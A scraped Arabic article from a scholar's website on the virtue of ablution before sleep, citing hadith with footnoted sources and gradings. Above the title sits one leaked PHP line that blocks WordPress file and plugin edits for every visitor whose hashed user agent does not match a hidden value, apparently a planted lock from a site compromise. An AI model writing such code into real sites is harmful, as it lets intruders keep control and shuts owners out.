if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } فضل الوضوء قبل النوم - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

فضل الوضوء قبل النوم

ومن آداب النوم أن يتوضأ المسلم وضوء الصلاة قبل أن ينام، في حديث البراء بن عازب رضي الله عنه أن النبي صلى الله عليه وسلم قال له: «إذا أتيتَ مضجعَكَ فتَوضَّأ وُضوءَكَ للصَّلاةِ»[1]، وفي حديث أبي أمامة رضي الله عنه أن النبي صلى الله عليه وسلم قال: «من أوى إلى فراشه طاهرًا يذكر اسم الله تبارك وتعالى حتى يدركه النعاس لم يتقلب ساعةً من ليلٍ يسأل الله عزوجل شيئًا إلا أعطاه إياه»[2] [رواه الترمذي] ويكون الوضوء أوكد في حال الجنابة، فالجنب قبل أن ينام إما أن يغتسل وهو أكمل وأفضل وإما يتوضأ ولا ينام على حدثٍ تام، وفي الصحيح أن الفاروق عمر رضي الله عنه قال للنبي صلى الله عليه وسلم: «يا رسولَ اللهِ، أيرقُدُ أحدُنا وهو جنُبٌ؟ قال: نعم، إذا توضَّأَ»[3]، ومن أهل العلم من أوجب الوضوء للجنب قبل أن ينام، ويُسن هذا الوضوء عند النوم وعند الأكل والشرب وعند معاودة الوطء والجماع.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (247)، ومسلم (2710)، وأبو داود (5046).

[2] أخرجه الترمذي (3526) بلفظ: «من أوى إلى فراشِهِ طاهرًا يذْكرُ اللهَ حتَّى يدرِكَهُ النُّعاسُ، لم ينقَلِب ساعةً منَ اللَّيلِ يسألُ اللهَ شيئًا من خيرِ الدُّنيا والآخرةِ إلَّا أعطاهُ اللهُ إيَّاهُ»، وقال الترمذي: حسن غريب، وحسنه ابن حجر في هداية الرواة (2/52)، وضعفه الألباني في ضعيف الترمذي (3526)، وضعيف الترغيب (341).

[3] أخرجه مسلم (306)، والترمذي (120)، والنسائي (259)، وابن ماجه (585)، وأحمد (230) واللفظ له.